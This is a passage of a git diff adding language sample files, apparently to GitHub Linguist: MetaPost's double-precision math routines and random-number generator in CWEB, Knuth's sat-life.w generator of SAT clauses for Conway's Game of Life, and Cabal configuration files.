+         "I'm zeroing this one. Proceed, with fingers crossed.",
+         NULL };
+    char *astr = mp_double_number_tostring (mp, a_orig);
+    char *bstr = mp_double_number_tostring (mp, b_orig);
+    mp_snprintf (msg, 256, "Pythagorean subtraction %s+-+%s has been replaced by 0", astr, bstr);
+    free(astr);
+    free(bstr);
+@.Pythagorean...@>;
+    mp_error (mp, msg, hlp, true);
+  }
+  a = 0;
+}
+
+
+@ The subroutines for logarithm and exponential involve two tables.
+The first is simple: |two_to_the[k]| equals $2^k$. 
+
+@d two_to_the(A) (1<<(unsigned)(A))
+
+@ Here is the routine that calculates $2^8$ times the natural logarithm
+of a |scaled| quantity; it is an integer approximation to $2^{24}\ln(x/2^{16})$,
+when |x| is a given positive integer.
+
+@c
+void mp_double_m_log (MP mp, mp_number *ret, mp_number x_orig) {
+  if (x_orig.data.dval <= 0) {
+    @<Handle non-positive logarithm@>;
+  } else {
+    ret->data.dval = log (x_orig.data.dval)*256.0;
+  }
+}
+
+@ @<Handle non-positive logarithm@>=
+{
+  char msg[256];
+  const char *hlp[] = { 
+         "Since I don't take logs of non-positive numbers,",
+         "I'm zeroing this one. Proceed, with fingers crossed.",
+          NULL };
+  char *xstr = mp_double_number_tostring (mp, x_orig);
+  mp_snprintf (msg, 256, "Logarithm of %s has been replaced by 0", xstr);
+  free (xstr);
+@.Logarithm...replaced by 0@>;
+  mp_error (mp, msg, hlp, true);
+  ret->data.dval = 0;
+}
+
+
+@ Conversely, the exponential routine calculates $\exp(x/2^8)$,
+when |x| is |scaled|. 
+
+@c
+void mp_double_m_exp (MP mp, mp_number *ret, mp_number x_orig) {
+  errno = 0;  
+  ret->data.dval = exp(x_orig.data.dval/256.0);
+  if (errno) {
+    if (x_orig.data.dval > 0) {
+      mp->arith_error = true;
+      ret->data.dval = EL_GORDO;
+    } else {
+      ret->data.dval = 0;
+    }
+  }
+}
+
+
+@ Given integers |x| and |y|, not both zero, the |n_arg| function
+returns the |angle| whose tangent points in the direction $(x,y)$.
+
+@c
+void mp_double_n_arg (MP mp, mp_number *ret, mp_number x_orig, mp_number y_orig) {
+  if (x_orig.data.dval == 0.0 && y_orig.data.dval == 0.0) {
+    @<Handle undefined arg@>;
+  } else {
+    ret->type = mp_angle_type;
+    ret->data.dval = atan2 (y_orig.data.dval, x_orig.data.dval) * (180.0 / PI)  * angle_multiplier;
+    if (ret->data.dval == -0.0) 
+      ret->data.dval = 0.0;
+#if DEBUG
+    fprintf(stdout, "\nn_arg(%g,%g,%g)", mp_number_to_double(*ret),
+    mp_number_to_double(x_orig),mp_number_to_double(y_orig));
+#endif
+  }
+}
+
+
+@ @<Handle undefined arg@>=
+{
+  const char *hlp[] = {
+         "The `angle' between two identical points is undefined.",
+         "I'm zeroing this one. Proceed, with fingers crossed.",
+         NULL };
+  mp_error (mp, "angle(0,0) is taken as zero", hlp, true);
+@.angle(0,0)...zero@>;
+  ret->data.dval = 0;
+}
+
+
+@ Conversely, the |n_sin_cos| routine takes an |angle| and produces the sine
+and cosine of that angle. The results of this routine are
+stored in global integer variables |n_sin| and |n_cos|.
+
+@ Given an integer |z| that is $2^{20}$ times an angle $\theta$ in degrees,
+the purpose of |n_sin_cos(z)| is to set
+|x=@t$r\cos\theta$@>| and |y=@t$r\sin\theta$@>| (approximately),
+for some rather large number~|r|. The maximum of |x| and |y|
+will be between $2^{28}$ and $2^{30}$, so that there will be hardly
+any loss of accuracy. Then |x| and~|y| are divided by~|r|.
+
+@d one_eighty_deg (180.0*angle_multiplier)
+@d three_sixty_deg (360.0*angle_multiplier)
+
+@d odd(A)   (abs(A)%2==1)
+
+@ Compute a multiple of the sine and cosine
+
+@c
+void mp_double_sin_cos (MP mp, mp_number z_orig, mp_number *n_cos, mp_number *n_sin) {
+  double rad;
+  rad = (z_orig.data.dval / angle_multiplier) * PI/180.0;
+  n_cos->data.dval = cos(rad) * fraction_multiplier;
+  n_sin->data.dval = sin(rad) * fraction_multiplier;
+#if DEBUG
+  fprintf(stdout, "\nsin_cos(%f,%f,%f)", mp_number_to_double(z_orig),
+mp_number_to_double(*n_cos), mp_number_to_double(*n_sin));
+#endif
+}
+
+@ This is the http://www-cs-faculty.stanford.edu/~uno/programs/rng.c
+with  small cosmetic modifications.
+
+@c
+#define KK 100                     /* the long lag  */
+#define LL  37                     /* the short lag */
+#define MM (1L<<30)                /* the modulus   */
+#define mod_diff(x,y) (((x)-(y))&(MM-1)) /* subtraction mod MM */
+/* */ 
+static long ran_x[KK];                    /* the generator state */
+/* */ 
+static void ran_array(long aa[],int n) /* put n new random numbers in aa */
+  /* long aa[]    destination */
+  /* int n       array length (must be at least KK) */
+{
+  register int i,j;
+  for (j=0;j<KK;j++) aa[j]=ran_x[j];
+  for (;j<n;j++) aa[j]=mod_diff(aa[j-KK],aa[j-LL]);
+  for (i=0;i<LL;i++,j++) ran_x[i]=mod_diff(aa[j-KK],aa[j-LL]);
+  for (;i<KK;i++,j++) ran_x[i]=mod_diff(aa[j-KK],ran_x[i-LL]);
+}
+/* */ 
+/* the following routines are from exercise 3.6--15 */
+/* after calling ran_start, get new randoms by, e.g., "x=ran_arr_next()" */
+/* */ 
+#define QUALITY 1009 /* recommended quality level for high-res use */
+static long ran_arr_buf[QUALITY];
+static long ran_arr_dummy=-1, ran_arr_started=-1;
+static long *ran_arr_ptr=&ran_arr_dummy; /* the next random number, or -1 */
+/* */ 
+#define TT  70   /* guaranteed separation between streams */
+#define is_odd(x)  ((x)&1)          /* units bit of x */
+/* */ 
+static void ran_start(long seed) /* do this before using ran_array */
+  /* long seed             selector for different streams */
+{
+  register int t,j;
+  long x[KK+KK-1];              /* the preparation buffer */
+  register long ss=(seed+2)&(MM-2);
+  for (j=0;j<KK;j++) {
+    x[j]=ss;                      /* bootstrap the buffer */
+    ss<<=1; if (ss>=MM) ss-=MM-2; /* cyclic shift 29 bits */
+  }
+  x[1]++;              /* make x[1] (and only x[1]) odd */
+  for (ss=seed&(MM-1),t=TT-1; t; ) {       
+    for (j=KK-1;j>0;j--) x[j+j]=x[j], x[j+j-1]=0; /* "square" */
+    for (j=KK+KK-2;j>=KK;j--)
+      x[j-(KK-LL)]=mod_diff(x[j-(KK-LL)],x[j]),
+      x[j-KK]=mod_diff(x[j-KK],x[j]);
+    if (is_odd(ss)) {              /* "multiply by z" */
+      for (j=KK;j>0;j--)  x[j]=x[j-1];
+      x[0]=x[KK];            /* shift the buffer cyclically */
+      x[LL]=mod_diff(x[LL],x[KK]);
+    }
+    if (ss) ss>>=1; else t--;
+  }
+  for (j=0;j<LL;j++) ran_x[j+KK-LL]=x[j];
+  for (;j<KK;j++) ran_x[j-LL]=x[j];
+  for (j=0;j<10;j++) ran_array(x,KK+KK-1); /* warm things up */
+  ran_arr_ptr=&ran_arr_started;
+}
+/* */ 
+#define ran_arr_next() (*ran_arr_ptr>=0? *ran_arr_ptr++: ran_arr_cycle())
+static long ran_arr_cycle(void)
+{
+  if (ran_arr_ptr==&ran_arr_dummy)
+    ran_start(314159L); /* the user forgot to initialize */
+  ran_array(ran_arr_buf,QUALITY);
+  ran_arr_buf[KK]=-1;
+  ran_arr_ptr=ran_arr_buf+1;
+  return ran_arr_buf[0];
+}
+
+
+
+@ To initialize the |randoms| table, we call the following routine.
+
+@c
+void mp_init_randoms (MP mp, int seed) {
+  int j, jj, k;    /* more or less random integers */
+  int i;        /* index into |randoms| */
+  j =  abs (seed);
+  while (j >= fraction_one) {
+    j = j/2;
+  }
+  k = 1;
+  for (i = 0; i <= 54; i++) {
+    jj = k;
+    k = j - k;
+    j = jj;
+    if (k<0)
+      k += fraction_one;
+    mp->randoms[(i * 21) % 55].data.dval = j;
+  }
+  mp_new_randoms (mp);
+  mp_new_randoms (mp);
+  mp_new_randoms (mp);          /* ``warm up'' the array */
+
+  ran_start((unsigned long) seed);  
+
+
+}
+
+@ @c
+static double modulus(double left, double right);
+double modulus(double left, double right) {
+    double quota = left / right;
+    double frac,tmp;
+    frac = modf(quota,&tmp);
+    /* frac contains what's beyond the '.' */
+    frac *= right;
+    return frac;
+}
+void mp_number_modulo (mp_number *a, mp_number b) {
+   a->data.dval = modulus (a->data.dval, b.data.dval);
+}
+
+
+
+@ To consume a random  integer for the uniform generator, the program below will say `|next_unif_random|'.
+
+@c 
+static void mp_next_unif_random (MP mp, mp_number *ret) { 
+  double a; 
+  unsigned long int op;
+  (void)mp;
+  op = (unsigned)ran_arr_next(); 
+  a = op/(MM*1.0);
+  ret->data.dval = a;
+}
+
+
+
+@ To consume a random fraction, the program below will say `|next_random|'.
+
+@c 
+static void mp_next_random (MP mp, mp_number *ret) { 
+  if ( mp->j_random==0 ) 
+    mp_new_randoms(mp);
+  else 
+    mp->j_random = mp->j_random-1;
+  mp_number_clone (ret, mp->randoms[mp->j_random]);
+}
+
+
+@ To produce a uniform random number in the range |0<=u<x| or |0>=u>x|
+or |0=u=x|, given a |scaled| value~|x|, we proceed as shown here.
+
+Note that the call of |take_fraction| will produce the values 0 and~|x|
+with about half the probability that it will produce any other particular
+values between 0 and~|x|, because it rounds its answers.
+
+@c
+static void mp_double_m_unif_rand (MP mp, mp_number *ret, mp_number x_orig) {
+  mp_number y;     /* trial value */
+  mp_number x, abs_x;
+  mp_number u;
+  new_fraction (y);
+  new_number (x);
+  new_number (abs_x);
+  new_number (u);
+  mp_number_clone (&x, x_orig);
+  mp_number_clone (&abs_x, x);
+  mp_double_abs (&abs_x);
+  mp_next_unif_random(mp, &u);
+  y.data.dval = abs_x.data.dval * u.data.dval;
+  free_number (u);
+  if (mp_number_equal(y, abs_x)) {
+    mp_number_clone (ret, ((math_data *)mp->math)->zero_t);
+  } else if (mp_number_greater(x, ((math_data *)mp->math)->zero_t)) {
+    mp_number_clone (ret, y);
+  } else {
+    mp_number_clone (ret, y);
+    mp_number_negate (ret);
+  }
+  free_number (abs_x);
+  free_number (x);
+  free_number (y);
+}
+
+
+
+@ Finally, a normal deviate with mean zero and unit standard deviation
+can readily be obtained with the ratio method (Algorithm 3.4.1R in
+{\sl The Art of Computer Programming\/}).
+
+@c
+static void mp_double_m_norm_rand (MP mp, mp_number *ret) {
+  mp_number ab_vs_cd; 
+  mp_number abs_x;
+  mp_number u;
+  mp_number r;
+  mp_number la, xa;
+  new_number (ab_vs_cd);
+  new_number (la);
+  new_number (xa);
+  new_number (abs_x);
+  new_number (u);
+  new_number (r);
+  
+  do {
+    do {
+      mp_number v;
+      new_number (v);
+      mp_next_random(mp, &v);
+      mp_number_substract (&v, ((math_data *)mp->math)->fraction_half_t); 
+      mp_double_number_take_fraction (mp,&xa, ((math_data *)mp->math)->sqrt_8_e_k, v); 
+      free_number (v);
+      mp_next_random(mp, &u);
+      mp_number_clone (&abs_x, xa);
+      mp_double_abs (&abs_x);
+    } while (!mp_number_less(abs_x, u));
+    mp_double_number_make_fraction (mp, &r, xa, u);
+    mp_number_clone (&xa, r);
+    mp_double_m_log (mp,&la, u);
+    mp_set_double_from_substraction(&la, ((math_data *)mp->math)->twelve_ln_2_k, la);
+    mp_double_ab_vs_cd (mp,&ab_vs_cd, ((math_data *)mp->math)->one_k, la, xa, xa);
+  } while (mp_number_less(ab_vs_cd,((math_data *)mp->math)->zero_t));
+  mp_number_clone (ret, xa);
+  free_number (ab_vs_cd);
+  free_number (r);
+  free_number (abs_x);
+  free_number (la);
+  free_number (xa);
+  free_number (u);
+}
+
+
+
+
+@ The following subroutine is used only in norm_rand and tests  if $ab$ is
+greater than, equal to, or less than~$cd$.
+The result is $+1$, 0, or~$-1$ in the three respective cases.
+
+@c
+void mp_double_ab_vs_cd (MP mp, mp_number *ret, mp_number a_orig, mp_number b_orig, mp_number c_orig, mp_number d_orig) {
+  double ab, cd;
+  (void)mp;
+  ret->data.dval = 0 ;
+  ab = a_orig.data.dval*b_orig.data.dval;
+  cd = c_orig.data.dval*d_orig.data.dval;
+  if (ab > cd ) 
+       ret->data.dval = 1 ;
+  else if (ab < cd ) 
+       ret->data.dval = -1 ;
+  return ;
+}
+
diff --git a/samples/CWeb/sat-life.w b/samples/CWeb/sat-life.w
new file mode 100644
index 0000000000..91accc8265
--- /dev/null
+++ b/samples/CWeb/sat-life.w
@@ -0,0 +1,404 @@
+\datethis
+@*Intro. This program generates clauses for the transition relation
+from time $t$ to time $t+1$ in Conway's Game of Life, assuming that
+all of the potentially live cells at time $t$ belong to a pattern
+that's specified in |stdin|. The pattern is defined by one or more
+lines representing rows of cells, where each line has `\..' in a
+cell that's guaranteed to be dead at time~$t$, otherwise it has `\.*'.
+The time is specified separately as a command-line parameter.
+
+The Boolean variable for cell $(x,y)$ at time $t$ is named by its
+so-called ``xty code,'' namely by the decimal value of~$x$, followed
+by a code letter for~$t$, followed by the decimal value of~$y$. For
+example, if $x=10$ and $y=11$ and $t=0$, the variable that indicates
+liveness of the cell is \.{10a11}; and the corresponding variable
+for $t=1$ is \.{10b11}.
+
+Up to 19 auxiliary variables are used together with each xty code,
+in order to construct clauses that define the successor state.
+The names of these variables are obtained by appending one of
+the following two-character combinations to the xty code:
+\.{A2}, \.{A3}, \.{A4},
+\.{B1}, \.{B2}, \.{B3}, \.{B4},
+\.{C1}, \.{C2}, \.{C3}, \.{C4},
+\.{D1}, \.{D2},
+\.{E1}, \.{E2},
+\.{F1}, \.{F2},
+\.{G1}, \.{G2}.
+These variables are derived from the Bailleux--Boufkhad method
+of encoding cardinality constraints:
+The auxiliary variable \.{A$k$} stands for the condition
+``at least $k$ of the eight neighbors are alive.'' Similarly,
+\.{B$k$} stands for ``at least $k$ of the first four neighbors
+are alive,'' and \.{C$k$} accounts for the other four neighbors.
+Codes \.D, \.E, \.F, and~\.G refer to pairs of neighbors.
+Thus, for instance, \.{10a11C2} means that at least two of the
+last four neighbors of cell $(10,11)$ are alive.
+
+Those auxiliary variables receive values by means of up to 77 clauses per cell.
+For example, if $u$ and~$v$ are the neighbors of cell~$z$ that correspond
+to a pairing of type~\.D, there are six clauses
+$$\bar u d_1,\quad
+  \bar v d_1,\quad
+  \bar u\bar v d_2,\quad
+  u v\bar d_1,\quad
+  u\bar d_2,\quad
+  v\bar d_2.$$
+The sixteen clauses
+$$\displaylines{\hfill
+\bar d_1b_1,\quad
+\bar e_1b_1,\quad
+\bar d_2b_2,\quad
+\bar d_1\bar e_1b_2,\quad
+\bar e_2b_2,\quad
+\bar d_2\bar e_1b_3,\quad
+\bar d_1\bar e_2b_3,\quad
+\bar d_2\bar e_2b_4,
+\hfill\cr\hfill
+d_1e_1\bar b_1,\quad
+d_1e_2\bar b_2,\quad
+d_2e_1\bar b_2,\quad
+d_1\bar b_3,\quad
+d_2e_2\bar b_3,\quad
+e_1\bar b_3,\quad
+d_2\bar b_4,\quad
+e_2\bar b_4
+\hfill}$$
+define $b$ variables from $d$'s and $e$'s; and another sixteen
+define $c$'s from $f$'s and $g$'s in the same fashion.
+A similar set of 21 clauses will define the $a$'s from the $b$'s and $c$'s.
+
+Once the $a$'s are defined, thus essentially counting the
+live neighbors of cell $z$, the next
+state~$z'$ is defined by five further clauses
+$$\bar a_4\bar z',\quad
+a_2\bar z',\quad
+a_3z\bar z',\quad
+\bar a_3a_4z',\quad
+\bar a_2a_4\bar zz'.$$
+For example, the last of these states that $z'$ will be true
+(i.e., that cell $z$ will be alive at time $t+1$) if
+$z$ is alive at time~$t$ and has $\ge2$ live neighbors
+but not $\ge4$.
+
+Nearby cells can share auxiliary variables, according to a tricky scheme that
+is worked out below. In consequence, the actual number of auxiliary variables
+and clauses per cell is reduced from 19 and $77+5$ to 13 and $57+5$,
+respectively, except at the boundaries.
+
+@ So here's the overall outline of the program.
+
+@d maxx 50 /* maximum number of lines in the pattern supplied by |stdin| */
+@d maxy 50 /* maximum number of columns per line in |stdin| */
+
+@c
+#include <stdio.h>
+#include <stdlib.h>
+char p[maxx+2][maxy+2]; /* is cell $(x,y)$ potentially alive? */
+char have_b[maxx+2][maxy+2]; /* did we already generate $b(x,y)$? */
+char have_d[maxx+2][maxy+2]; /* did we already generate $d(x,y)$? */
+char have_e[maxx+2][maxy+4]; /* did we already generate $e(x,y)$? */
+char have_f[maxx+4][maxy+2]; /* did we already generate $f(x-2,y)$? */
+int tt; /* time as given on the command line */
+int xmax,ymax; /* the number of rows and columns in the input pattern */
+int xmin=maxx,ymin=maxy; /* limits in the other direction */
+char timecode[]="abcdefghijklmnopqrstuvwxyz"@|
+      "ABCDEFGHIJKLMNOPQRSTUVWXYZ"@|
+      "!\"#$%&'()*+,-./:;<=>?@@[\\]^_`{|}~"; /* codes for $0\le t\le83$ */
+@q$@>
+char buf[maxy+2]; /* input buffer */
+unsigned int clause[4]; /* clauses are assembled here */
+int clauseptr; /* this many literals are in the current clause */
+@<Subroutines@>@;
+main(int argc,char*argv[]) {
+  register int j,k,x,y;
+  @<Process the command line@>;
+  @<Input the pattern@>;
+  for (x=xmin-1;x<=xmax+1;x++) for (y=ymin-1;y<=ymax+1;y++) {
+    @<If cell $(x,y)$ is obviously dead at time $t+1$, |continue|@>;
+    a(x,y);
+    zprime(x,y);
+  }
+}
+
+@ @<Process the command line@>=
+if (argc!=2 || sscanf(argv[1],"%d",&tt)!=1) {
+  fprintf(stderr,"Usage: %s t\n",argv[0]);
+  exit(-1);
+}
+if (tt<0 || tt>82) {
+  fprintf(stderr,"The time should be between 0 and 82 (not %d)!\n",tt);
+  exit(-2);
+}
+
+@ @<Input the pattern@>=
+for (x=1;;x++) {
+  if (!fgets(buf,maxy+2,stdin)) break;
+  if (x>maxx) {
+    fprintf(stderr,"Sorry, the pattern should have at most %d rows!\n",maxx);
+    exit(-3);
+  }
+  for (y=1;buf[y-1]!='\n';y++) {
+    if (y>maxy) {
+      fprintf(stderr,"Sorry, the pattern should have at most %d columns!\n",
+             maxy);
+      exit(-4);
+    }
+    if (buf[y-1]=='*') {
+      p[x][y]=1;
+      if (y>ymax) ymax=y;
+      if (y<ymin) ymin=y;
+      if (x>xmax) xmax=x;
+      if (x<xmin) xmin=x;
+    }@+else if (buf[y-1]!='.') {
+      fprintf(stderr,"Unexpected character `%c' found in the pattern!\n",
+              buf[y-1]);
+      exit(-5);
+    }
+  }
+}
+
+@ @d pp(xx,yy) ((xx)>=0 && (yy)>=0? p[xx][yy]: 0)
+
+@<If cell $(x,y)$ is obviously dead at time $t+1$, |continue|@>=
+if (pp(x-1,y-1)+pp(x-1,y)+pp(x-1,y+1)+
+    pp(x,y-1)+p[x][y]+p[x][y+1]+
+    pp(x+1,y-1)+p[x+1][y]+p[x+1][y+1]<3) continue;
+
+@ Clauses are assembled in the |clause| array (surprise), where we
+put encoded literals.
+
+The code for a literal is an unsigned 32-bit quantity, where the leading
+bit is 1 if the literal should be complemented. The next three bits
+specify the type of the literal (0 thru 7 for plain and \.A--\.G);
+the next three bits specify an integer~$k$; and the next bit is zero.
+That leaves room for two 12-bit fields, which specify $x$ and $y$.
+
+Type 0 literals have $k=0$ for the ordinary xty code. However, the
+value $k=1$ indicates that the time code should be for $t+1$ instead of~$t$.
+And $k=2$ denotes a special ``tautology'' literal, which is always true.
+If the tautology literal is complemented, we omit it from the clause;
+otherwise we omit the entire clause.
+Finally, $k=7$ denotes an auxiliary literal, used to avoid
+clauses of length~4.
+
+Here's a subroutine that outputs the current clause and resets
+the |clause| array.
+
+@d taut (2<<25)
+@d sign (1U<<31)
+
+@<Sub...@>=
+void outclause(void) {
+  register int c,k,x,y,p;
+  for (p=0;p<clauseptr;p++)
+    if (clause[p]==taut) goto done;
+  for (p=0;p<clauseptr;p++) if (clause[p]!=taut+sign) {
+    if (clause[p]>>31) printf(" ~");@+else printf(" ");
+    c=(clause[p]>>28)&0x7;
+    k=(clause[p]>>25)&0x7;
+    x=(clause[p]>>12)&0xfff;
+    y=clause[p]&0xfff;
+    if (c) printf("%d%c%d%c%d",
+             x,timecode[tt],y,c+'@@',k);
+    else if (k==7) printf("%d%c%dx",
+             x,timecode[tt],y);
+    else printf("%d%c%d",
+             x,timecode[tt+k],y);
+  }
+  printf("\n");
+done: clauseptr=0;
+}
+
+@ And here's another, which puts a type-0 literal into |clause|.
+
+@<Sub...@>=
+void applit(int x,int y,int bar,int k) {
+  if (k==0 && (x<xmin || x>xmax || y<ymin || y>ymax || p[x][y]==0))
+    clause[clauseptr++]=(bar? 0: sign)+taut;
+  else clause[clauseptr++]=(bar? sign:0)+(k<<25)+(x<<12)+y;
+}
+
+@ The |d| and |e| subroutines are called for only one-fourth
+of all cell addresses $(x,y)$. Indeed, one can show that
+$x$ is always odd, and that $y\bmod4<2$.
+
+Therefore we remember if we've seen $(x,y)$ before.
+
+Slight trick: If |yy| is not in range, we avoid generating the
+clause $\bar d_k$ twice.
+
+@d newlit(x,y,c,k) clause[clauseptr++]=((c)<<28)+((k)<<25)+((x)<<12)+(y)
+@d newcomplit(x,y,c,k) 
+   clause[clauseptr++]=sign+((c)<<28)+((k)<<25)+((x)<<12)+(y)
+
+@<Sub...@>=
+void d(int x,int y) {
+  register x1=x-1,x2=x,yy=y+1;
+  if (have_d[x][y]!=tt+1) {
+    applit(x1,yy,1,0),newlit(x,y,4,1),outclause();
+    applit(x2,yy,1,0),newlit(x,y,4,1),outclause();
+    applit(x1,yy,1,0),applit(x2,yy,1,0),newlit(x,y,4,2),outclause();
+    applit(x1,yy,0,0),applit(x2,yy,0,0),newcomplit(x,y,4,1),outclause();
+    applit(x1,yy,0,0),newcomplit(x,y,4,2),outclause();
+    if (yy>=ymin && yy<=ymax)
+      applit(x2,yy,0,0),newcomplit(x,y,4,2),outclause();
+    have_d[x][y]=tt+1;
+  }
+}
+@#
+void e(int x,int y) {
+  register x1=x-1,x2=x,yy=y-1;
+  if (have_e[x][y]!=tt+1) {
+    applit(x1,yy,1,0),newlit(x,y,5,1),outclause();
+    applit(x2,yy,1,0),newlit(x,y,5,1),outclause();
+    applit(x1,yy,1,0),applit(x2,yy,1,0),newlit(x,y,5,2),outclause();
+    applit(x1,yy,0,0),applit(x2,yy,0,0),newcomplit(x,y,5,1),outclause();
+    applit(x1,yy,0,0),newcomplit(x,y,5,2),outclause();
+    if (yy>=ymin && yy<=ymax)
+      applit(x2,yy,0,0),newcomplit(x,y,5,2),outclause();
+    have_e[x][y]=tt+1;
+  }
+}
+    
+@ The |f| subroutine can't be shared quite so often. But we
+do save a factor of~2, because $x+y$ is always even.
+
+@<Sub...@>=
+void f(int x,int y) {
+  register xx=x-1,y1=y,y2=y+1;
+  if (have_f[x][y]!=tt+1) {
+    applit(xx,y1,1,0),newlit(x,y,6,1),outclause();
+    applit(xx,y2,1,0),newlit(x,y,6,1),outclause();
+    applit(xx,y1,1,0),applit(xx,y2,1,0),newlit(x,y,6,2),outclause();
+    applit(xx,y1,0,0),applit(xx,y2,0,0),newcomplit(x,y,6,1),outclause();
+    applit(xx,y1,0,0),newcomplit(x,y,6,2),outclause();
+    if (xx>=xmin && xx<=xmax)
+      applit(xx,y2,0,0),newcomplit(x,y,6,2),outclause();
+    have_f[x][y]=tt+1;
+  }
+}
+
+@ The |g| subroutine cleans up the dregs, by somewhat tediously
+locating the two neighbors that weren't handled by |d|, |e|, or~|f|.
+No sharing is possible here.
+
+@<Sub...@>=
+void g(int x,int y) {
+  register x1,x2,y1,y2;
+  if (x&1) x1=x-1,y1=y,x2=x+1,y2=y^1;
+  else x1=x+1,y1=y,x2=x-1,y2=y-1+((y&1)<<1);
+  applit(x1,y1,1,0),newlit(x,y,7,1),outclause();
+  applit(x2,y2,1,0),newlit(x,y,7,1),outclause();
+  applit(x1,y1,1,0),applit(x2,y2,1,0),newlit(x,y,7,2),outclause();
+  applit(x1,y1,0,0),applit(x2,y2,0,0),newcomplit(x,y,7,1),outclause();
+  applit(x1,y1,0,0),newcomplit(x,y,7,2),outclause();
+  applit(x2,y2,0,0),newcomplit(x,y,7,2),outclause();
+}
+
+@ Fortunately the |b| subroutine {\it can\/} be shared (since |x| is always
+odd), thus saving half of the sixteen clauses generated.
+
+@<Sub...@>=
+void b(int x,int y) {
+  register j,k,xx=x,y1=y-(y&2),y2=y+(y&2);
+  if (have_b[x][y]!=tt+1) {
+    d(xx,y1);
+    e(xx,y2);
+    for (j=0;j<3;j++) for (k=0;k<3;k++) if (j+k) {
+      if (j) newcomplit(xx,y1,4,j); /* $\bar d_j$ */
+      if (k) newcomplit(xx,y2,5,k); /* $\bar e_k$ */
+      newlit(x,y,2,j+k); /* $b_{j+k}$ */
+      outclause();
+      if (j) newlit(xx,y1,4,3-j); /* $d_{3-j}$ */
+      if (k) newlit(xx,y2,5,3-k); /* $e_{3-k}$ */
+      newcomplit(x,y,2,5-j-k); /* $\bar b_{5-j-k}$ */
+      outclause();      
+    }
+    have_b[x][y]=tt+1;
+  }
+}
+
+@ The (unshared) |c| subroutine handles the other four neighbors,
+by working with |f| and |g| instead of |d| and~|e|.
+
+If |y=0|, the overlap rules set |y1=-1|, which can be problematic.
+I've decided to avoid this case by omitting |f| when it is
+guaranteed to be zero.
+
+@<Sub...@>=
+void c(int x,int y) {
+  register j,k,x1,y1;
+  if (x&1) x1=x+2,y1=(y-1)|1;
+  else x1=x,y1=y&-2;
+  g(x,y);
+  if (x1-1<xmin || x1-1>xmax || y1+1<ymin || y1>ymax)
+    @<Set |c| equal to |g|@>@;
+  else {
+    f(x1,y1);
+    for (j=0;j<3;j++) for (k=0;k<3;k++) if (j+k) {
+      if (j) newcomplit(x1,y1,6,j); /* $\bar f_j$ */
+      if (k) newcomplit(x,y,7,k); /* $\bar g_k$ */
+      newlit(x,y,3,j+k); /* $c_{j+k}$ */
+      outclause();
+      if (j) newlit(x1,y1,6,3-j); /* $f_{3-j}$ */
+      if (k) newlit(x,y,7,3-k); /* $g_{3-k}$ */
+      newcomplit(x,y,3,5-j-k); /* $\bar c_{5-j-k}$ */
+      outclause();
+    }
+  }
+}
+
+@ @<Set |c| equal to |g|@>=
+{
+  for (k=1;k<3;k++) {
+    newcomplit(x,y,7,k),newlit(x,y,3,k),outclause(); /* $\bar g_k\lor c_k$ */
+    newlit(x,y,7,k),newcomplit(x,y,3,k),outclause(); /* $g_k\lor\bar c_k$ */
+  }
+  newcomplit(x,y,3,3),outclause(); /* $\bar c_3$ */
+  newcomplit(x,y,3,4),outclause(); /* $\bar c_4$ */
+}
+
+@ Totals over all eight neighbors are then deduced by the |a|
+subroutine.
+
+@<Sub...@>=
+void a(int x,int y) {
+  register j,k,xx=x|1;
+  b(xx,y);
+  c(x,y);
+  for (j=0;j<5;j++) for (k=0;k<5;k++) if (j+k>1 && j+k<5) {
+    if (j) newcomplit(xx,y,2,j); /* $\bar b_j$ */
+    if (k) newcomplit(x,y,3,k); /* $\bar c_k$ */
+    newlit(x,y,1,j+k); /* $a_{j+k}$ */
+    outclause();
+  }
+  for (j=0;j<5;j++) for (k=0;k<5;k++) if (j+k>2 && j+k<6 && j*k) {
+    if (j) newlit(xx,y,2,j); /* $b_j$ */
+    if (k) newlit(x,y,3,k); /* $c_k$ */
+    newcomplit(x,y,1,j+k-1); /* $\bar a_{j+k-1}$ */
+    outclause();
+  }
+}
+
+@ Finally, as mentioned at the beginning, $z'$ is determined
+from $z$, $a_2$, $a_3$, and $a_4$.
+
+I actually generate six clauses, not five, in order to stick to
+{\mc 3SAT}.
+
+@<Sub...@>=
+void zprime(int x,int y) {
+  newcomplit(x,y,1,4),applit(x,y,1,1),outclause(); /* $\bar a_4\bar z'$ */
+  newlit(x,y,1,2),applit(x,y,1,1),outclause(); /* $a_2\bar z'$ */
+  newlit(x,y,1,3),applit(x,y,0,0),applit(x,y,1,1),outclause();
+               /* $a_3z\bar z'$ */
+  newcomplit(x,y,1,3),newlit(x,y,1,4),applit(x,y,0,1),outclause();
+               /* $\bar a_3a_4z'$ */
+  applit(x,y,0,7),newcomplit(x,y,1,2),newlit(x,y,1,4),outclause();
+               /* $x\bar a_2a_4$ */
+  applit(x,y,1,7),applit(x,y,1,0),applit(x,y,0,1),outclause();
+               /* $\bar x\bar zz'$ */
+}
+
+@*Index.
diff --git a/samples/Cabal Config/defaults.cabal b/samples/Cabal Config/defaults.cabal
new file mode 100644
index 0000000000..f7286265e3
--- /dev/null
+++ b/samples/Cabal Config/defaults.cabal	
@@ -0,0 +1,26 @@
+cabal-version:       2.4
+name:                linguist-sample
+version:             0.1.1.0
+synopsis:            Example of a Cabal configuration file for GitHub Linguist
+homepage:            https://github.com/github/linguist
+
+-- A longer description of the package.
+-- description:
+
+license:             ISC
+license-file:        LICENSE
+author:              Alhadis
+maintainer:          foo@bar.com
+category:            Language
+extra-source-files:  CHANGELOG.md
+
+library
+	build-depends:       base ^>=4.11.1.0
+	hs-source-dirs:      src
+	default-language:    Haskell2010
+
+executable linguist-sample
+	main-is:             Main.hs
+	build-depends:       base ^>=4.11.1.0
+	hs-source-dirs:      src
+	default-language:    Haskell2010
diff --git a/samples/Cabal Config/filenames/cabal.config b/samples/Cabal Config/filenames/cabal.config
new file mode 100644
index 0000000000..ea246d7dc6
--- /dev/null
+++ b/samples/Cabal Config/filenames/cabal.config	
@@ -0,0 +1,117 @@
+constraints: DRBG ==0.5.4,
+             HTTP ==4000.2.19,
+             HUnit ==1.2.5.2,
+             MissingH ==1.3.0.1,
+             MonadRandom ==0.3.0.2,
+             StateVar ==1.1.0.0,
+             aeson ==0.7.0.4,
+             ansi-terminal ==0.6.2.1,
+             ansi-wl-pprint ==0.6.7.2,
+             appar ==0.1.4,
+             array ==0.4.0.1,
+             attoparsec ==0.10.4.0,
+             auto-update ==0.1.2.1,
+             base ==4.6.0.1,
+             base16-bytestring ==0.1.1.6,
+             base64-bytestring ==1.0.0.1,
+             bifunctors ==4.2.1,
+             binary ==0.5.1.1,
+             blaze-builder ==0.4.0.1,
+             byteable ==0.1.1,
